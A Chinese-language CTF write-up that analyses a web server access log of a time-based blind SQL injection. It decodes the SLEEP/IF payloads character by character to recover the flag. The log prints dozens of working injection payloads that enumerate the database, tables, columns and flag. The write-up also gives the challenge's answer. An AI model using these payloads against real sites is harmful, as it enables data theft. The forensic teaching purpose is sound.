2025春秋杯Misc安全分析基础
1.观察题目
192.168.1.100 - - [12/Jan/2026:14:25:10 +0000] "GET / HTTP/1.1" 200 1234
192.168.1.100 - - [12/Jan/2026:14:25:12 +0000] "GET /login.php HTTP/1.1" 200 2341
192.168.1.100 - - [12/Jan/2026:14:25:15 +0000] "POST /login.php HTTP/1.1" 302 0
192.168.1.100 - - [12/Jan/2026:14:25:18 +0000] "GET /user.php?id=1 HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:25:22 +0000] "GET /user.php?id=2 HTTP/1.1" 200 3421
192.168.1.100 - - [12/Jan/2026:14:25:25 +0000] "GET /user.php?id=1' HTTP/1.1" 500 567
192.168.1.100 - - [12/Jan/2026:14:25:30 +0000] "GET /user.php?id=1%20AND%201=1 HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:25:35 +0000] "GET /user.php?id=1%20AND%201=2 HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:25:40 +0000] "GET /user.php?id=1%20AND%20SLEEP(5) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:25:50 +0000] "GET /user.php?id=1%20AND%20IF(1=1,SLEEP(5),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:26:00 +0000] "GET /user.php?id=1%20AND%20IF(1=2,SLEEP(5),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:26:02 +0000] "GET /user.php?id=1%20AND%20IF(LENGTH(DATABASE())=4,SLEEP(5),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:26:12 +0000] "GET /user.php?id=1%20AND%20IF(LENGTH(DATABASE())=5,SLEEP(5),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:26:14 +0000] "GET /user.php?id=1%20AND%20IF(ASCII(SUBSTRING(DATABASE(),1,1))>100,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:26:20 +0000] "GET /user.php?id=1%20AND%20IF(ASCII(SUBSTRING(DATABASE(),1,1))>115,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:26:23 +0000] "GET /user.php?id=1%20AND%20IF(ASCII(SUBSTRING(DATABASE(),1,1))=115,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:26:30 +0000] "GET /user.php?id=1%20AND%20IF(ASCII(SUBSTRING(DATABASE(),2,1))=104,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:26:36 +0000] "GET /user.php?id=1%20AND%20IF(ASCII(SUBSTRING(DATABASE(),3,1))=111,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:26:42 +0000] "GET /user.php?id=1%20AND%20IF(ASCII(SUBSTRING(DATABASE(),4,1))=112,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:26:48 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20COUNT()%20FROM%20information_schema.tables%20WHERE%20table_schema=DATABASE())>5,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:26:54 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(table_name,1,1))%20FROM%20information_schema.tables%20WHERE%20table_schema=DATABASE()%20LIMIT%200,1)=117,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:27:00 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(table_name,2,1))%20FROM%20information_schema.tables%20WHERE%20table_schema=DATABASE()%20LIMIT%200,1)=115,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:27:06 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(table_name,3,1))%20FROM%20information_schema.tables%20WHERE%20table_schema=DATABASE()%20LIMIT%200,1)=101,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:27:12 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(table_name,4,1))%20FROM%20information_schema.tables%20WHERE%20table_schema=DATABASE()%20LIMIT%200,1)=114,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:27:18 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(table_name,5,1))%20FROM%20information_schema.tables%20WHERE%20table_schema=DATABASE()%20LIMIT%200,1)=115,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:27:24 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20COUNT()%20FROM%20information_schema.columns%20WHERE%20table_name='users')>5,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:27:30 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(column_name,1,1))%20FROM%20information_schema.columns%20WHERE%20table_name='users'%20LIMIT%202,1)=102,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:27:36 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(column_name,2,1))%20FROM%20information_schema.columns%20WHERE%20table_name='users'%20LIMIT%202,1)=108,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:27:42 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(column_name,3,1))%20FROM%20information_schema.columns%20WHERE%20table_name='users'%20LIMIT%202,1)=97,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:27:48 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(column_name,4,1))%20FROM%20information_schema.columns%20WHERE%20table_name='users'%20LIMIT%202,1)=103,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:27:54 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20LENGTH(flag)%20FROM%20users%20WHERE%20id=1)>30,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:28:00 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20LENGTH(flag)%20FROM%20users%20WHERE%20id=1)>40,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:28:06 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20LENGTH(flag)%20FROM%20users%20WHERE%20id=1)=41,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:28:12 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(flag,1,1))%20FROM%20users%20WHERE%20id=1)=102,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:28:18 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(flag,2,1))%20FROM%20users%20WHERE%20id=1)=108,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:28:24 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(flag,3,1))%20FROM%20users%20WHERE%20id=1)=97,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:28:30 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(flag,4,1))%20FROM%20users%20WHERE%20id=1)=103,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:28:36 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(flag,5,1))%20FROM%20users%20WHERE%20id=1)=123,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:28:42 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(flag,6,1))%20FROM%20users%20WHERE%20id=1)=98,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:28:48 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(flag,7,1))%20FROM%20users%20WHERE%20id=1)=108,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:28:54 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(flag,8,1))%20FROM%20users%20WHERE%20id=1)=49,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:29:00 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(flag,9,1))%20FROM%20users%20WHERE%20id=1)=110,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:29:06 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(flag,10,1))%20FROM%20users%20WHERE%20id=1)=100,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:29:12 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(flag,11,1))%20FROM%20users%20WHERE%20id=1)=95,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:29:18 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(flag,12,1))%20FROM%20users%20WHERE%20id=1)=115,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:29:24 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(flag,13,1))%20FROM%20users%20WHERE%20id=1)=113,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:29:30 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(flag,14,1))%20FROM%20users%20WHERE%20id=1)=108,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:29:36 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(flag,15,1))%20FROM%20users%20WHERE%20id=1)=49,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:29:42 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(flag,16,1))%20FROM%20users%20WHERE%20id=1)=95,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:29:48 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(flag,17,1))%20FROM%20users%20WHERE%20id=1)=116,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:29:54 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(flag,18,1))%20FROM%20users%20WHERE%20id=1)=49,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:30:00 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(flag,19,1))%20FROM%20users%20WHERE%20id=1)=109,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:30:06 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(flag,20,1))%20FROM%20users%20WHERE%20id=1)=51,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:30:12 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(flag,21,1))%20FROM%20users%20WHERE%20id=1)=95,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:30:18 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(flag,22,1))%20FROM%20users%20WHERE%20id=1)=98,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:30:24 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(flag,23,1))%20FROM%20users%20WHERE%20id=1)=52,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:30:30 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(flag,24,1))%20FROM%20users%20WHERE%20id=1)=115,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:30:36 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(flag,25,1))%20FROM%20users%20WHERE%20id=1)=51,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:30:42 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(flag,26,1))%20FROM%20users%20WHERE%20id=1)=100,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:30:48 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(flag,27,1))%20FROM%20users%20WHERE%20id=1)=95,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:30:54 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(flag,28,1))%20FROM%20users%20WHERE%20id=1)=108,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:31:00 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(flag,29,1))%20FROM%20users%20WHERE%20id=1)=48,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:31:06 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(flag,30,1))%20FROM%20users%20WHERE%20id=1)=103,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:31:12 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(flag,31,1))%20FROM%20users%20WHERE%20id=1)=95,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:31:18 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(flag,32,1))%20FROM%20users%20WHERE%20id=1)=102,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:31:24 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(flag,33,1))%20FROM%20users%20WHERE%20id=1)=48,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:31:30 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(flag,34,1))%20FROM%20users%20WHERE%20id=1)=114,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:31:36 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(flag,35,1))%20FROM%20users%20WHERE%20id=1)=51,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:31:42 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(flag,36,1))%20FROM%20users%20WHERE%20id=1)=110,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:31:48 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(flag,37,1))%20FROM%20users%20WHERE%20id=1)=115,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:31:54 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(flag,38,1))%20FROM%20users%20WHERE%20id=1)=49,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:32:00 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(flag,39,1))%20FROM%20users%20WHERE%20id=1)=99,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:32:06 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(flag,40,1))%20FROM%20users%20WHERE%20id=1)=115,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.100 - - [12/Jan/2026:14:32:12 +0000] "GET /user.php?id=1%20AND%20IF((SELECT%20ASCII(SUBSTRING(flag,41,1))%20FROM%20users%20WHERE%20id=1)=125,SLEEP(3),0) HTTP/1.1" 200 3456
192.168.1.101 - - [12/Jan/2026:14:35:00 +0000] "GET / HTTP/1.1" 200 1234
192.168.1.102 - - [12/Jan/2026:14:36:00 +0000] "GET /products.php HTTP/1.1" 200 5678
注意：
%20 (空格) 空格符
%27 ' 单引号 (SQL注入常用)
%22 " 双引号
%28 ( 左括号
%29 ) 右括号
通过观察，我们可以看到攻击者对 user.php?id=1 进行了大量请求。
14:25:25 的请求带有单引号 ' 并导致了 500 错误，表明存在 SQL 注入漏洞。****（很重要）
随后的请求使用了 AND IF(...,SLEEP(3),0) 语句。
这是一种盲注手段。攻击者询问数据库一个问题（例如：Flag 的第1个字符 ASCII 码是 102 吗？）。
如果是 (True)，数据库执行 SLEEP(3)（沉睡3秒），导致响应延迟。
如果否 (False)，数据库立即返回。
为此我们要关注他的语句和每条相隔的时间，并参照ASCII值表来找到我们的flag
2.整理
| 14:28:12 | 1 | 102 | f | SUBSTRING(flag,1,1))=102 | |
|---|---|---|---|---|---|
| 14:28:18 | 2 | 108 | l | SUBSTRING(flag,2,1))=108 | |
| 14:28:24 | 3 | 97 | a | SUBSTRING(flag,3,1))=97 | |
| 14:28:30 | 4 | 103 | g | SUBSTRING(flag,4,1))=103 | |
| 14:28:36 | 5 | 123 | { | SUBSTRING(flag,5,1))=123 | |
| 14:28:42 | 6 | 98 | b | SUBSTRING(flag,6,1))=98 | |
| 14:28:48 | 7 | 108 | l | SUBSTRING(flag,7,1))=108 | |
| 14:28:54 | 8 | 49 | 1 | SUBSTRING(flag,8,1))=49 | |
| 14:29:00 | 9 | 110 | n | SUBSTRING(flag,9,1))=110 | |
| 14:29:06 | 10 | 100 | d | SUBSTRING(flag,10,1))=100 | |
| 14:29:12 | 11 | 95 | _ | SUBSTRING(flag,11,1))=95 | |
| 14:29:18 | 12 | 115 | s | SUBSTRING(flag,12,1))=115 | |
| 14:29:24 | 13 | 113 | q | SUBSTRING(flag,13,1))=113 | |
| 14:29:30 | 14 | 108 | l | SUBSTRING(flag,14,1))=108 | |
| 14:29:36 | 15 | 49 | 1 | SUBSTRING(flag,15,1))=49 | |
| 14:29:42 | 16 | 95 | _ | SUBSTRING(flag,16,1))=95 | |
| 14:29:48 | 17 | 116 | t | SUBSTRING(flag,17,1))=116 | |
| 14:29:54 | 18 | 49 | 1 | SUBSTRING(flag,18,1))=49 | |
| 14:30:00 | 19 | 109 | m | SUBSTRING(flag,19,1))=109 | |
| 14:30:06 | 20 | 51 | 3 | SUBSTRING(flag,20,1))=51 | |
| 14:30:12 | 21 | 95 | _ | SUBSTRING(flag,21,1))=95 | |
| 14:30:18 | 22 | 98 | b | SUBSTRING(flag,22,1))=98 | |
| 14:30:24 | 23 | 52 | 4 | SUBSTRING(flag,23,1))=52 | |
| 14:30:30 | 24 | 115 | s | SUBSTRING(flag,24,1))=115 | |
| 14:30:36 | 25 | 51 | 3 | SUBSTRING(flag,25,1))=51 | |
| 14:30:42 | 26 | 100 | d | SUBSTRING(flag,26,1))=100 | |
| 14:30:48 | 27 | 95 | _ | SUBSTRING(flag,27,1))=95 | |
| 14:30:54 | 28 | 108 | l | SUBSTRING(flag,28,1))=108 | |
| 14:31:00 | 29 | 48 | 0 | SUBSTRING(flag,29,1))=48 | |
| 14:31:06 | 30 | 103 | g | SUBSTRING(flag,30,1))=103 | |
| 14:31:12 | 31 | 95 | _ | SUBSTRING(flag,31,1))=95 | |
| 14:31:18 | 32 | 102 | f | SUBSTRING(flag,32,1))=102 | |
| 14:31:24 | 33 | 48 | 0 | SUBSTRING(flag,33,1))=48 | |
| 14:31:30 | 34 | 114 | r | SUBSTRING(flag,34,1))=114 | |
| 14:31:36 | 35 | 51 | 3 | SUBSTRING(flag,35,1))=51 | |
| 14:31:42 | 36 | 110 | n | SUBSTRING(flag,36,1))=110 | |
| 14:31:48 | 37 | 115 | s | SUBSTRING(flag,37,1))=115 | |
| 14:31:54 | 38 | 49 | 1 | SUBSTRING(flag,38,1))=49 | |
| 14:32:00 | 39 | 99 | c | SUBSTRING(flag,39,1))=99 | |
| 14:32:06 | 40 | 115 | s | SUBSTRING(flag,40,1))=115 | |
| 14:32:12 | 41 | 125 | } | SUBSTRING(flag,41,1))=125 |
3.得到最后的flag
flag{bl1nd_sql1_t1m3_b4s3d_l0g_f0r3ns1cs}
浙公网安备 33010602011771号